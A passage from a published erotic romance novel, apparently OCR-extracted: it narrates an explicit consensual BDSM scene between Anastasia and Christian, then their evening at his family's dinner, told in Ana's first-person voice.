is not going to hurt. Do you understand?” + +“Yes.” My voice is uncertain. Is it really not going to hurt? + +“I mean it,” he says. + +Jeez, my breathing is so shallow. Does he know what I’m thinking? He shows me the +crop. It’s brown plaited leather. My eyes jerk up to meet his, and they’re alight with fire +and a trace of amusement. + +“We aim to please, Miss Steele,” he murmurs. “Come.” He takes my elbow and moves +me to beneath the grid. He reaches up and takes down some shackles with black leather +cuffs. + +“This grid is designed so the shackles move across the grid.” + +I glance up. Holy shit - it’s like a subway map. + +“We’re going to start here, but I want to fuck you standing up. So we’ll end up by the +wall over there.” He points with the riding crop to where the large wooden X is on the wall. + +“Put your hands above your head.” + +I oblige immediately, feeling like I’m exiting my body - a casual observer of events as +they unfold around me. This is beyond fascinating, beyond erotic. It’s singularly the most +exciting and scary thing I’ve ever done. I’m entrusting myself to a beautiful man who, by +his own admission, is fifty shades of fucked-up. I suppress the brief thrill of fear. Kate and +Elliot, they know I’m here. + +He stands very close as he fastens the cuffs. I’m staring at his chest. His proximity +is heavenly. He smells of body wash and Christian, an inebriating mix, and that drags me + + +back into the now. I want to run my nose and tongue through that smattering of chest hair. + +I could just lean forward... + +He steps back and gazes at me, his expression hooded, salacious, carnal, and I am help- +less, my hands tied, but just looking at his lovely face, reading his need and longing for me, + +I can feel the dampness between my legs. He walks slowly round me. + +“You look mighty fine trussed up like this, Miss Steele. And your smart mouth, quiet +for now. I like that.” + +Standing in front of me again, he hooks his fingers into my panties, and at a most un- +hurried pace, peels them down my legs, stripping me agonizingly slowly, so that he ends +up kneeling in front of me. Not taking his eyes off mine, he scrunches my panties in his +hand, holds them up to his nose, and inhales deeply. Holy fuck. Did he just do that? He +grins wickedly at me and tucks them into the pocket of his jeans. + +Uncoiling from the floor, rising lazily, like a jungle cat, he points the end of the riding +crop at my navel, leisurely circling it - tantalizing me. At the touch of the leather, I quiver +and gasp. He walks round me again, trailing the crop around the middle of my body. On his +second circuit, he suddenly flicks the crop, and it hits me underneath my behind... against +my sex. I cry out in surprise as all my nerve endings stand to attention. I pull against the +restraints. The shock runs through me, and it’s the sweetest strangest, hedonistic feeling. + +“Quiet,” he whispers as he walks around me again, the crop slightly higher around the +middle of my body. This time when he flicks it against me in the same place, I’m anticipat- +ing it... oh my. My body convulses at the sweet, stinging bite. + +As he makes his way around me, he flicks again, this time hitting my nipple, and I +throw my head back as my nerve endings sing. He hits the other... a brief, swift, sweet +chastisement. My nipples harden and elongate from the assault, and I moan loudly, pulling +on my leather cuffs. + +“Does that feel good?” he breathes. + +“Yes.” + +He hits me again across the buttocks. The crop stings this time. + +“Yes what?” + +“Yes, Sir,” I whimper. + +He comes to a stop. . . but I can no longer see him. My eyes are closed as I try to absorb +the myriad of sensations coursing through my body. Very slowly, he rains small, biting +licks of the crop down my belly, heading south. I know where this is leading, and I try and +psyche myself up for it - but when he hits my clitoris, I cry out loudly. + +“Oh... please!” I groan. + +“Quiet,” he orders, and he hits me again on my behind. + +I did not expect this to be like this... I am lost. Lost in a sea of sensation. And sud- +denly, he’s dragging the crop against my sex, through my pubic hair, down to the entrance +of my vagina. + +“See how wet you are for this, Anastasia. Open your eyes and your mouth.” + +I do as I’m told, completely seduced. He pushes the tip of the crop into my mouth, like +my dream. Holy shit. + +“See how you taste. Suck. Suck hard, baby.” + + +My mouth closes around the crop as my eyes lock on his. I can taste the rich leather +and the saltiness of my arousal. His eyes are blazing. He’s in his element. + +He pulls the tip from my mouth, and he stands forward and grabs me and kisses me +hard, his tongue invading my mouth. Wrapping his arms around me, he pulls me against +him. His chest crushes mine, and I itch to touch, but I can’t, my hands, useless above me. + +“Oh, Anastasia, you taste mighty fine,” he breathes. “Shall I make you come?” + +“Please,” I beg. + +The crop bites my buttock. Ow! + +“Please, what?” + +“Please, Sir,” I whimper. + +He smiles at me, triumphant. + +“With this?” He holds the crop up so I can see it. + +“Yes, Sir.” + +“Are you sure?” He looks sternly at me. + +“Yes, please, Sir.” + +“Close your eyes.” + +I shut the room out, him out... the crop out. He starts small, biting licks of the crop +against my belly once more. Moving down, soft small licks against my clitoris, once, +twice, three times, again and again, until finally, that’s it - I can take no more - and I come, +gloriously, loudly, sagging weakly. His arms curl around me as my legs turn to jelly. I dis- +solve in his embrace, my head against his chest, and I’m mewling and whimpering as the +aftershocks of my orgasm consume me. He lifts me, and suddenly we’re moving, my arms +still tethered above my head, and I can feel the cool wood of the polished cross at my back, +and he’s popping the buttons on his jeans. He puts me down against the cross briefly while +he slides on a condom, and then his hands wrap around my thighs as he lifts me again. + +“Lift your legs, baby, wrap them round me.” + +I feel so weak, but I do as he asks as he wraps my legs around his hips and positions +himself beneath me. With one thrust, he’s inside me, and I cry out again, listening to his +muffled moan at my ear. My arms are resting on his shoulders as he thrusts into me. Jeez, +it’s deep this way. He thrusts again and again, his face at my neck, his harsh breathing at +my throat. I feel the build up again. Jeez no... not again... I don’t think my body will with- +stand another earth-shattering moment. But I have no choice... and with an inevitability +that’s becoming familiar, I let go and come again, and it’s sweet and agonizing and intense. +I lose all sense of self. Christian follows, shouting his release through clenched teeth and +holding me hard and close as he does. + +He pulls out of me swiftly and sets me down against the cross, his body supporting +mine. Unbuckling the cuffs, he frees my hands, and we both sink to the floor. He pulls +me into his lap, cradling me, and I lean my head against his chest. If I had the strength, I’d +touch him, but I don’t. Belatedly, I realize he’s still wearing his jeans. + +“Well done, baby,” he murmurs. “Did that hurt?” + +“No,” I breathe. I can barely keep my eyes open. Why am I so tired? + +“Did you expect it to?” he whispers as he holds me close, his fingers pushing some +escaped tendrils of hair off my face. + +“Yes.” + + +“You see most of your fear is in your head, Anastasia,” he pauses. “Would you do it +again?” + +I think for a moment as fatigue clouds my brain... Again? + +“Yes.” My voice is so soft. + +He hugs me tightly. + +“Good. So would I,” he murmurs, then leans down and softly kisses the top of my +head. + +“And I haven’t finished with you yet.” + +Not finished with me yet. Holy Moses. There’s no way I can do any more. I am ut- +terly spent and fighting an overwhelming desire to sleep. I’m leaning against his chest, my +eyes are closed, and he’s wrapped around me - arms and legs - and I feel... safe, and oh +comfortable. Will he let me sleep, perchance to dream? My mouth quirks up at the silly +thought, and turning my face into Christian’s chest, I inhale his unique scent and nuzzle +him, but immediately he tenses... oh crap. I open my eyes and glance up at him. He’s +staring down at me. + +“Don’t,” he breathes in warning. + +I flush and look back at his chest in longing. I want to run my tongue through the hair, +kiss him, and for the first time, I notice he has a few random and faint small, round scars +dotted around his chest. Chicken pox? Measles? I think absently. + +“Kneel by the door,” he orders as he sits back, putting his hands on his knees, effec- +tively releasing me. No longer warm, the temperature of his voice has dropped several +degrees. + +I stumble clumsily up into a standing position and scoot over to the door and kneel +as instructed. I’m shaky and very, very tired, monumentally confused. Who would have +thought I could have found such gratification in this room. Who could have thought it +would be so exhausting? My limbs are deliciously heavy, sated. My inner goddess has a +‘do not disturb’ sign on the outside of her room. + +Christian is moving about in the periphery of my vision. My eyes start to droop. + +“Boring you, am I, Miss Steele?” + +I jump awake, and Christian is standing in front of me, his arms crossed glaring down +at me. Oh shit, caught napping - this is not going to be good. His eyes soften as I gaze up +at him. + +“Stand up,” he orders. + +I climb warily to my feet. He stares at me, and his mouths quirks up. + +“You’re shattered, aren’t you?” + +I nod shyly, flushing. + +“Stamina, Miss Steele.” He narrows his eyes at me. “I haven’t had my fill of you yet. +Hold out your hands in front as if you’re praying.” + +I blink at him. Praying! Praying for you to go easy on me. I do as I’m told. He takes +a cable tie and fastens it around my wrists, tightening the plastic. Holy hell. My eyes fly +to his. + +“Look familiar,” he asks, unable to conceal his smile. + + +Jeez... the plastic cable ties. Restocking at Clayton’s! It all becomes clear. I gape up +at him as adrenaline spikes though my body anew. Okay - that’s got my attention - I’m +awake now. + +“I have scissors here.” He holds them up for me to see. “I can cut you out of this in a +moment.” + +I try to pull my wrists apart, testing my bonds, and as I do, the plastic bites into my +flesh - it’s sore, but if I relax my wrists they’re fine - the tie is not cutting into my skin. + +“Come.” He takes my hands and leads me over to the four-poster bed. I notice now +that it has dark red sheets on it and a shackle at each corner. + +“I want more - much, much more,” he leans down and whispers in my ear. + +And my heartbeat starts pounding again. Oh boy. + +“But I’ll make this quick. You’re tired. Hold on to the post,” he says. + +I frown. Not on the bed then? I find I can part my hands as I grasp the ornately carved +wooden post. + +“Lower,” he orders. “Good. Don’t let go. If you do, I’ll spank you. Understand?” + +“Yes, Sir.” + +“Good.” + +He stands behind me and grasps my hips, and then quickly lifts me backward so I’m +bending forward, holding the post. + +“Don’t let go, Anastasia,” he warns. “I’m going to fuck you hard from behind. Hold +the post to support your weight. Understand?” + +“Yes.” + +He smacks me across my behind with his hand. Ow... It stings. + +“Yes, Sir,” I mutter quickly. + +“Part your legs.” He puts his leg between mine, and holding my hips, he pushes my +right leg to the side. + +“That’s better. After this, I’ll let you sleep.” + +Sleep? I’m panting. I’m not thinking of sleep now. He reaches up and gently strokes +my back. + +“You have such beautiful skin, Anastasia,” he breathes as he bends down and kisses +me along my spine, gentle feather-light kisses. At the same time, his hands move round to +my front palming my breasts, and as he does this, he traps my nipples between his fingers +and tugs them gently. + +I stifle my moan as I feel my whole body respond, coming alive once more for him. + +He gently bites and sucks me at my waist, tugging my nipples, and my hands tighten +on the exquisitely carved post. His hands drop away, and I hear the now familiar tear of +foil, and he kicks off his jeans. + +“You have such a captivating, sexy ass, Anastasia Steele. What I’d like to do to it.” + +His hands smooth and shape each of my buttocks, then his fingers glide down, and he slips +two fingers inside me. + +“So wet. You never disappoint, Miss Steele,” he whispers, and I hear the wonder in his +voice. “Hold tight... this is going to be quick, baby.” + +He grabs my hips and positions himself, and I brace myself for his assault. But he +reaches over me and grabs my braid near the end and winds it round his wrist to my nape + + +holding my head in place. Very slowly he eases into me, pulling my hair at the same +time... oh the fullness. He eases out of me slowly, and his other hand grabs my hip, hold- +ing tight, and then he slams into me, jolting me forward. + +“Hold on, Anastasia!” he shouts through clenched teeth. + +I grip harder round the post and push back against him as he continues his merciless +onslaught, again and again, his fingers digging into my hip. My arms are aching, my +legs feel uncertain, my scalp is getting sore from his tugging my hair... and I can feel a +gathering deep inside me. Oh no. . . and for the first time, I fear my orgasm. . . if I come. . . + +I’ll collapse. Christian continues to move roughly against me, in me, his breathing harsh, +moaning, groaning. My body is responding... how? I feel a quickening. But suddenly, +Christian stills, slamming really deep. + +“Come on, Ana, give it to me,” he groans, and my name on his lips sends me over the +edge as I become all body and spiraling sensation and sweet, sweet release, and then com +pletely and utterly mindless. + +When sense returns, I’m lying on him. He’s on the floor, and I’m lying on top of him, +my back to his front, and I’m staring at the ceiling, all post-coital, glowing, shattered. Oh... +the karabiners, I think absently - I’d forgotten about those. Christian nuzzles my ear. + +“Hold up your hands,” he says softly. + +My arms feel like they’re made of lead, but I hold them up. He wields the scissors and +passes one blade under the plastic. + +“I declare this Ana open,” he breathes, and cuts the plastic. + +I giggle and rub my wrists as they’re freed. I feel his grin. + +“That is such a lovely sound,” he says wistfully. He sits suddenly, taking me with him +so that I’m once more sitting in his lap. + +“That’s my fault,” he says and shifts me so that he can rub my shoulders and arms. +Gently he massages some life back into my limbs + +What? + +I glance up at him behind me, trying to understand what he means. + +“That you don’t giggle more often.” + +“I’m not a great giggler,” I mumble sleepily. + +“Oh, but when it happens, Miss Steele, ‘tis a wonder and joy to behold.” + +“Very flowery, Mr. Grey,” I mutter, trying to keep my eyes open. + +His eyes soften, and he smiles. + +“I’d say you’re thoroughly fucked and in need of sleep.” + +“That wasn’t flowery at all,” I grumble playfully. + +He grins and gently lifts me off him and stands, gloriously naked. I wish momentarily +that I were more awake to really appreciate him. Picking up his jeans, he slides them back +on, commando. + +“Don’t want to frighten Taylor, or Mrs. Jones for that matter,” he mutters. + +Hmm... they must know what a kinky bastard he is. The thought preoccupies me. + +He stoops to help me to my feet and leads me to the door, on the back of which hangs +grey waffle robe. He patiently dresses me as if I’m a small child. I don’t have the strength +to lift my arms. When I’m covered and respectable, he leans down and kisses me gently, +his mouth quirks up in a smile. + + +“Bed,” he says. + +Oh... no... + +“For sleep,” he adds reassuringly when he sees my expression. + +Suddenly, he scoops me up and carries me curled against his chest to the room along +the corridor where earlier today Dr. Greene examined me. My head drops against his chest. +I am exhausted. I don’t remember ever being this tired. Pulling back the duvet, he lays me +down, and even more surprisingly, climbs in beside me and holds me close. + +“Sleep now, gorgeous girl,” he whispers, and he kisses my hair. + +And before I can make a facetious comment, I’m asleep. + + +Chapter Nineteen + + +Soft lips brush across my temple, leaving sweet tender kisses in their wake, and part of me +wants to turn and respond, but mostly I want to stay asleep. I moan and burrow into my +pillow. + +“Anastasia, wake up.” Christian’s voice is soft, cajoling. + +“No,” I moan. + +“We have to leave in half an hour for dinner at my parents.” He’s amused. + +I open my eyes reluctantly. It’s dusk outside. Christian is leaning over, gazing at me +intently. + +“Come on sleepy-head. Get up.” He stoops down and kisses me again. + +“I’ve bought you a drink. I’ll be downstairs. Don’t go back to sleep, or you’ll be in +trouble,” he threatens, but his tone is mild. He kisses me briefly and exits, leaving me +blinking sleep from my eyes in the cool, stark room. + +I’m refreshed but suddenly nervous. Holy cow, I am meeting his folks! He’s just +worked me over with a riding crop and tied me up using a cable tie which I sold him, for +heaven’s sake - and I’m going to meet his parents. It will be Kate’s first time meeting them +too - at least she’ll be there for support. I roll my shoulders. They’re stiff. His demands +for a personal trainer don’t seem so outlandish now, in fact, they’re mandatory if I am to +have any hope of keeping up with him. + + +I climb slowly out of bed and note that my dress is hanging outside the wardrobe and +my bra is on the chair. Where are my panties? I check beneath the chair. Nothing. Then +I remember - he squirreled them away in the pocket of his jeans. I flush at the memory, +after he, I can’t even bring myself to think about it, he was so - barbarous. I frown. Why +hasn’t he given me back my panties? + +I steal into the bathroom, bewildered by my lack of underwear. While drying myself +after my enjoyable but far too brief shower, I realize he’s done this on purpose. He wants +me to be embarrassed and ask for my panties back, and he’ll either say yes or no. My inner +goddess grins at me. Hell... two can play that particular game. Resolving there and then +not to ask him for them and not give him that satisfaction, I shall go meet his parents sans +culottes. Anastasia Steele! My subconscious chides me, but I don’t want to listen to her - I +almost hug myself with glee because I know this will drive him crazy. + +Back in the bedroom, I put on my bra, slip into my dress, and climb into my shoes. I +remove the braid and hastily brush out my hair, I then glance down at the drink he’s left. + +It’s pale pink. What’s this? Cranberry and sparkling water. Hmm... it tastes delicious and +quenches my thirst. + +Dashing back into the bathroom, I check myself in the mirror: eyes bright, cheeks +slightly flushed, slightly smug look because of my panty plan, and I head downstairs. Fif- +teen minutes. Not bad, Ana. + +Christian is standing by the panoramic window, wearing the grey flannel pants that I +love, the ones that hang in that unbelievably sexy way off his hips, and of course, a white +linen shirt. Doesn’t he have any other colors? Frank Sinatra sings softly over the surround +sound speakers. + +Christian turns and smiles as I enter. He looks at me expectantly. + +“Hi,” I say softly, and my sphinx-like smile meets his. + +“Hi,” he says. “How are you feeling?” His eyes are alight with amusement. + +“Good, thanks. You?” + +“I feel mighty fine, Miss Steele.” + +He is so waiting for me to say something. + +“Frank. I never figured you for a Sinatra fan.” + +He raises his eyebrows at me, his look speculative. + +“Eclectic taste, Miss Steele,” he murmurs, and he paces toward me like a panther until +he’s standing in front of me, his gaze so intense it takes my breath away. + +Frank starts crooning... an old song, one of Ray’s favorites. ‘Witchcraft.’ Christian +leisurely traces his fingertips down my cheek, and I feel it all the way down there. + +“Dance with me,” he murmurs, his voice husky. + +Taking the remote out of his pocket, he turns up the volume and holds his hand out +to me, his gray gaze full of promise and longing and humor. He is totally beguiling, and +I’m bewitched. I place my hand in his. He grins lazily down at me and pulls me into his +embrace, his arm curling around my waist, and he starts to sway. + +I put my free hand on his shoulder and grin up at him, caught in his infectious, playful +mood. And he starts to move. Boy can he dance. We cover the floor, from the window to +the kitchen and back again, whirling and turning in time to the music. And he makes it so +effortless for me to follow. + + +We glide around the dining table, over to the piano, and backwards and forwards in +front of the glass wall, Seattle twinkling outside, a dark and magical mural to our dance, +and I can’t help my carefree laugh. He grins down at me as the song comes to a close. + +“There’s no nicer witch than you,” he murmurs, then kisses me sweetly. “Well, that’s +bought some color to your cheeks, Miss Steele. Thank you for the dance. Shall we go and +meet my parents?” + +“You’re welcome, and yes, I can’t wait to meet them,” I answer breathlessly. + +“Do you have everything you need?” + +“Oh, yes,” I respond sweetly. + +“Are you sure?” + +I nod as nonchalantly as I can manage under his intense, amused scrutiny. His face +splits into a huge grin, and he shakes his head. + +“Okay. If that’s the way you want to play it, Miss Steele.” + +He grabs my hand, collects his jacket which is hanging on one of the barstools, and +leads me through the foyer to the elevator. Oh, the many faces of Christian Grey. Will I +ever be able to understand this mercurial man? + +I peek up at him in the elevator. He’s enjoying a private joke, a trace of a smile flirting +with his beautiful mouth. I fear that it may be at my expense. What was I thinking? I’m +going to see his parents, and I’m not wearing any underwear. My subconscious gives me +an unhelpful I told you so expression. In the relative safety of his apartment, it seemed like +a fun, teasing idea. Now, I’m almost outside with No Panties! He peers down at me, and +it’s there, the charge building between us. The amused look disappears from his face and +his expression clouds, his eyes dark... oh my. + +The elevator doors open on the ground floor. Christian shakes his head slightly as if +to clear his thoughts and gestures for me to exit before him in a most gentlemanly manner. +Who’s he kidding? He’s no gentleman. He has my panties. + +Taylor draws up in the large Audi. Christian opens the rear door for me, and I climb in- +side as elegantly as I can, considering my state of wanton undress. I’m grateful that Kate’s +plum dress is so clingy and hangs to the top of my knees. + +We speed up the 1-5, both of us quiet, no doubt inhibited by Taylor’s steady presence +in the front. Christian’s mood is almost tangible and seems to shift, the humor dissipating +slowly as we head north. He’s brooding, staring out of the window, and I can feel him +slipping away from me. What is he thinking? I can’t ask him. What can I say in front of +Taylor? + +“Where did you learn to dance?” I ask tentatively. He turns to gaze at me, his eyes +unreadable beneath the intermittent light of the passing street lamps. + +“Do you really want to know?” he replies softly. + +My heart sinks, and now I don’t because I can guess. + +“Yes,” I murmur, reluctantly. + +“Mrs. Robinson was fond of dancing.” + +Oh, my worst suspicions confirmed. She has taught him well, and the thought de- +presses me - there’s nothing I can teach him. I have no special skills. + +“She must have been a good teacher.” + +“She was,” he says softly. + + +My scalp prickles. Did she have the best of him? Before he became so closed? Or +did she bring him out of himself? He has such a fun, playful side. I smile involuntarily as +I recall being in his arms as he spun me around his living room, so unexpected, and he has +my panties, somewhere. + +And then there’s the Red Room of Pain. I rub my wrists reflexively - thin strips of +plastic will do that to a girl. She taught him all that too or ruined him, depending on one’s +point of view. Or perhaps he would have found his way there anyway in spite of Mrs. R. + +I realize, in that moment, that I hate her. I hope that I never meet her because I will not be +responsible for my actions if I do. I can’t remember ever feeling this passionately about +anyone, especially someone I’ve never met. Gazing unseeing out of the window, I nurse +my irrational anger and jealousy. + +My mind drifts back to the afternoon. Given what I understand of his preferences, I +think he’s been easy on me. Would I do it again? I can’t even pretend to put up an argu- +ment against that. Of course I would, if he asked me - as long as he didn’t hurt me and if +it’s the only way to be with him. + +That’s the bottom line. I want to be with him. My inner goddess sighs with relief. I +reach the conclusion that she rarely uses her brain to think but another vital part of her +anatomy, and at the moment, it’s a rather exposed part. + +“Don’t,” he murmurs. + +I frown and turn to look at him. + +“Don’t what?” I haven’t touched him. + +“Over-think things, Anastasia.” Reaching out, he grasps my hand, draws it up to his +lips, and kisses my knuckles gently. “I had a wonderful afternoon. Thank you.” + +And he’s back with me again. I blink up at him and smile shyly. He’s so confusing. I +ask a question that’s been bugging me. + +“Why did you use a cable tie?” + +He grins at me. + +“It’s quick, it’s easy, and it’s something different for you to feel and experience. I know +they’re quite brutal, and I do like that in a restraining device.” He smiles at me mildly. + +“Very effective at keeping you in your place.” + +I flush and glance nervously at Taylor, who remains impassive, eyes on road. What am +I supposed to say to that? Christian shrugs innocently. + +“All part of my world, Anastasia.” He squeezes my hand and lets go, staring out of the +window again. + +His world indeed, and I want to belong in it, but on his terms? I just don’t know. He +hasn’t mentioned that damned contract. My inner musings do nothing to cheer me. I stare +out of the window and the landscape has changed. We’re crossing one of the bridges, sur- +rounded by inky darkness. The somber night reflects my introspective mood, closing in, +suffocating. + +I glance briefly at Christian, and he’s staring at me. + +“Penny for your thoughts?” he asks. + +I sigh and frown. + +“That bad, huh?” + +“I wish I knew what you were thinking.” + + +He smirks at me. + +“Ditto, baby,” he says softly as Taylor speeds into the night toward Bellevue. + + +It is just before eight when the Audi draws into the driveway of a colonial-style mansion. + +It’s breathtaking, even down to the roses around the door. Picture-book perfect. + +“Are you ready for this?” Christian asks as Taylor pulls up outside the impressive front + +door. + +I nod, and he gives my hand another reassuring squeeze. + +“First for me too,” he whispers, then smiles wickedly. “Bet you wish you were wear- +ing your underwear right now,” he teases. + +I flush. I’d forgotten my missing panties. Fortunately, Taylor has climbed out of the +car and is opening my door so he can’t hear our exchange. I scowl at Christian who grins +broadly as I turn and climb out of the car. + +Dr. Grace Trevelyan-Grey is on the doorstep waiting for us. She looks elegantly so- +phisticated in a pale blue silk dress; behind her stands Mr. Grey, I presume, tall, blond, and +as handsome in his own way as Christian. + +“Anastasia, you’ve met my mother, Grace. This is my dad, Carrick.” + +“Mr. Grey, what a pleasure to meet you.” I smile and shake his outstretched hand. + +“The pleasure is all mine, Anastasia.” + +“Please call me, Ana.” + +His blue eyes are soft and gentle. + +“Ana, how lovely to see you again.” Grace wraps me in a warm hug. “Come in, my +dear.” + +“Is she here?” I hear a screech from within the house. I glance nervously at Christian. + +“That would be Mia, my little sister,” he says almost irritably, but not quite. + +There’s an undercurrent of affection in his words, the way his voice grows softer and +his eyes crinkle as he mentions her name. Christian obviously adores her. It’s a revelation. +And she comes barreling down the hall, raven haired, tall, and curvaceous. She’s about +my age. + +“Anastasia! I’ve heard so much about you.” She hugs me hard. + +Holy Cow. I can’t help but smile at her boundless enthusiasm. + +“Ana, please,” I murmur as she drags me into the large vestibule. It’s all dark wood +floors and antique rugs with a sweeping staircase to the second floor. + +“He’s never brought a girl home before,” says Mia, dark eyes bright with excitement. + +I glimpse Christian rolling his eyes, and I raise an eyebrow at him. He narrows his +eyes at me. + +“Mia, calm down,” Grace admonishes softly. “Hello, darling,” she says as she kisses +Christian on both cheeks. He smiles down at her warmly, and then shakes hands with his +father. + +We all turn and head into the living room. Mia has not let go of my hand. The room is +spacious, tastefully furnished in creams, browns, and pale blue, comfortable, understated, +and very stylish. Kate and Elliot are cuddled together on a couch, clutching champagne +flutes. Kate bounces up to embrace me, and Mia finally releases my hand. + + +“Hi, Ana!” She beams. “Christian.” She nods curtly to him. + +“Kate.” He is equally formal with her. + +I frown at their exchange. Elliot grasps me in an all-embracing hug. What is this, hug +Ana week? This dazzling display of affection - I’m just not used to it. Christian stands +at my side, wrapping his arm around me. Placing his hand on my hip, he spreads out his +fingers and pulls me close. Everyone is staring at us. It’s unnerving. + +“Drinks?” Mr. Grey seems to recover himself. “Prosecco?” + +“Please,” Christian and I speak in unison. + +Oh... this is beyond weird. Mia claps her hands. + +“You’re even saying the same things. I’ll get them.” She scoots out of the room. + +I flush scarlet, and seeing Kate sitting with Elliot, it occurs to me suddenly that the only +reason Christian invited me is because Kate is here. Elliot probably freely and happily +asked Kate to meet his parents. Christian was trapped - knowing that I would have found +out via Kate. I frown at the thought. He’s been forced into the invitation. The realization +is bleak and depressing. My subconscious nods sagely, a you’ve-finally-worked-it-out- +stupid look on her face. + +“Dinner’s almost ready,” Grace says as she follows Mia out of the room. + +Christian frowns as he gazes at me. + +“Sit,” he commands, pointing to the plush couch, and I do as I’m told, carefully cross- +ing my legs. He sits down beside me but doesn’t touch me. + +“We were just talking about vacations, Ana,” Mr. Grey says kindly. “Elliot has decided +to follow Kate and her family to Barbados for a week.” + +I glance at Kate, and she grins, her eyes bright and wide. She’s delighted. Katherine +Kavanagh, show some dignity! + +“Are you taking a break now you’ve finished your degree?” Mr. Grey asks. + +“I’m thinking about going to Georgia for a few days,” I reply. + +Christian gapes at me, blinking a couple of times, his expression unreadable. Oh shit. + +I haven’t mentioned this to him. + +“Georgia?” he murmurs. + +“My mother lives there, and I haven’t seen her for a while.” + +“When were you thinking of going?” His voice is low. + +“Tomorrow, late evening.” + +Mia saunters back into the living room and hands us champagne flutes filled with pale +pink Prosecco. + +“Your good health!” Mr. Grey raises his glass. An appropriate toast from a doctor’s +husband, it makes me smile. + +“For how long?” Christian asks, his voice deceptively soft. + +Holy crap... he’s angry. + +“I don’t know yet. It will depend how my interviews go tomorrow.” + +His jaw clenches, and Kate gets that interfering look on her face. She smiles over- +sweetly. + +“Ana deserves a break,” she says pointedly at Christian. Why is she so antagonistic +towards him? What is her problem? + +“You have interviews?” Mr. Grey asks. + + +“Yes, for internships at two publishers, tomorrow.” + +“I wish you the best of luck.” + +“Dinner is on the table,” Grace announces. + +We all stand. Kate and Elliot follow Mr. Grey and Mia out of the room. I go to follow, +but Christian clutches my elbow, bringing me to an abrupt halt. + +“When were you going to tell me you were leaving?” he asks urgently. His tone is soft, +but he’s masking his anger. + +“I’m not leaving, I’m going to see my mother, and I was only thinking about it.” + +“What about our arrangement?” + +“We don’t have an arrangement yet.” + +He narrows his eyes, and then seems to remember himself. Releasing my hand, he +takes my elbow and leads me out of the room. + +“This conversation is not over,” he whispers threateningly as we enter the dining room. + +Oh, crapola. Don’t get your panties in such a twist. . . and give me back mine. I glare +at him. + +The dining room reminds me of our private dinner at the Heathman. A crystal chan- +delier hangs over the dark wood table and there’s a massive, ornately carved mirror on the +wall. The table is laid and covered with a crisp white linen tablecloth, a bowl of pale pink +peonies as the center piece. It’s stunning. + +We take our places. Mr. Grey is at the head of the table, while I sit at his right hand, +and Christian is seated beside me. Mr. Grey reaches for the opened bottle of red wine and +offers some to Kate. Mia takes her seat beside Christian, and grabbing his hand, squeezes +it tightly. Christian smiles warmly at her. + +“Where did you meet, Ana?” Mia asks him. + +“She interviewed me for the WSU student magazine.” + +“Which Kate edits,” I add, hoping to steer the conversation away from me. + +Mia beams at Kate, seated opposite next to Elliot, and they start talking about the stu- +dent magazine. + +“Wine, Ana?” Mr. Grey asks. + +“Please.” I smile at him. Mr. Grey rises to fill the rest of the glasses. + +I peek up at Christian, and he turns to look at me, his head cocked to one side. + +“What?” he asks. + +“Please don’t be mad at me,” I whisper. + +“I’m not mad at you.” + +I stare at him. He sighs. + +“Yes, I am mad at you.” He closes his eyes briefly. + +“Palm-twitchingly mad?” I ask nervously. + +“What are you two whispering about?” Kate interjects. + +I flush, and Christian glares at her in a butt-out-of-this-Kavanagh kind of way - even +Kate wilts under his stare. + +“Just about my trip to Georgia,” I say sweetly, hoping to diffuse their mutual hostility. + +Kate smiles, a wicked gleam in her eye. + +“How was Jose when you went to the bar with him on Friday?” + + +Holy fuck, Kate. I widen my eyes at her. What is she doing? She widens her eyes back +at me, and I realize she’s trying to make Christian jealous. How little she knows. I thought +I’d got away with this. + +“He was fine,” I murmur. + +Christian leans over. + +“Palm-twitchingly mad,” he whispers. “Especially now.” His tone is quiet and deadly. + +Oh no. I squirm. + +Grace reappears carrying two plates, followed by a pretty young woman with blonde +pigtails, dressed smartly in pale blue, carrying a tray of plates. Her eyes immediately find +Christian in the room. She blushes and gazes at him from under her lonq mascara’d lashes. +What! + +Somewhere in the house the phone starts ringing. + +“Excuse me,” Mr. Grey rises again and exits. + +“Thank you, Gretchen,” Grace says gently, frowning as Mr. Grey exits. “Just leave +the tray on the console.” Gretchen nods, and with another furtive glance at Christian, she +leaves. + +So the Greys have staff, and the staff are eyeing up my would-be Dominant. Can this +evening get any worse? I scowl at my hands in my lap. + +Mr. Grey returns. + +“Call for you, darling. It’s the hospital,” he says to Grace. + +“Please start, everyone.” Grace smiles as she hands me a plate and leaves. + +It smells delicious - chorizo and scallops with roasted red peppers and shallots, sprin- +kled with flat leafed parsley. And in spite of the fact that my stomach is churning from +Christian’s veiled threats, the surreptitious glances from pretty little Miss Pigtails, and the +debacle of my missing underwear, I am starving. I flush as I realize it’s the physical effort +of this afternoon that’s given me such an appetite. + +Moments later Grace returns, her brow furrowed. Mr. Grey cocks his head to one +side... like Christian. + +“Everything okay?” + +“Another measles case,” Grace sighs. + +“Oh no.” + +“Yes, a child. The fourth case this month. If only people would get their kids vacci- +nated.” She shakes her head sadly, and then smiles. “I’m so glad our children never went +through that. They never caught anything worse than chicken pox, thank goodness. Poor +Elliot,” she says as she sits down, smiling indulgently at her son. Elliot frowns mid chew +and squirms uncomfortably. “Christian and Mia were lucky. They got it so mildly, only a +spot to share between them.” + +Mia giggles, and Christian rolls his eyes. + +“So, did you catch the Mariners game, Dad?” Elliot’s clearly keen to move the con- +versation on. + +The hors d’oeuvres are delicious, and I concentrate on eating while Elliot, Mr. Grey, +and Christian talk baseball. Christian seems relaxed and calm talking to his family. My +mind is working furiously. Damn Kate, what game is she playing? Will he punish me? I + + +quail at the thought. I haven’t signed that contract yet. Perhaps I won’t. Perhaps I’ll stay +in Georgia where he can’t reach me. + +“How are you settling into your new apartment dear?” Grace asks politely. + +I’m grateful for her question, distracting me from my discordant thoughts, and I tell +her about our move. + +As we finish our starters, Gretchen appears, and not for the first time, I wish I felt able +to put my hands freely on Christian just to let her know - he may be fifty shades of fucked- +up, but he’s mine. She proceeds to clear the table, brushing rather too closely to Christian +for my liking. Fortunately, he seems oblivious to her, but my inner goddess is smoldering +and not in a good way. + +Kate and Mia are waxing lyrical about Paris. + +“Have you been to Paris, Ana?” Mia asks innocently, distracting me from my jealous +reverie. + +“No, but I’d love to go.” I know I’m the only one at the table who has never left main- +land USA. + +“We honeymooned in Paris.” Grace smiles at Mr. Grey who grins back at her. + +It’s almost embarrassing to witness. They obviously love each other deeply, and I +wonder for a brief moment what it must be like to grow up with both one’s parents in situ. + +“It’s a beautiful city,” Mia agrees. “In spite of the Parisians. Christian, you should take +Ana to Paris,” Mia states firmly. + +“I think Anastasia would prefer London,” Christian says softly. + +Oh. . . he remembered. He places his hand on my knee - his fingers 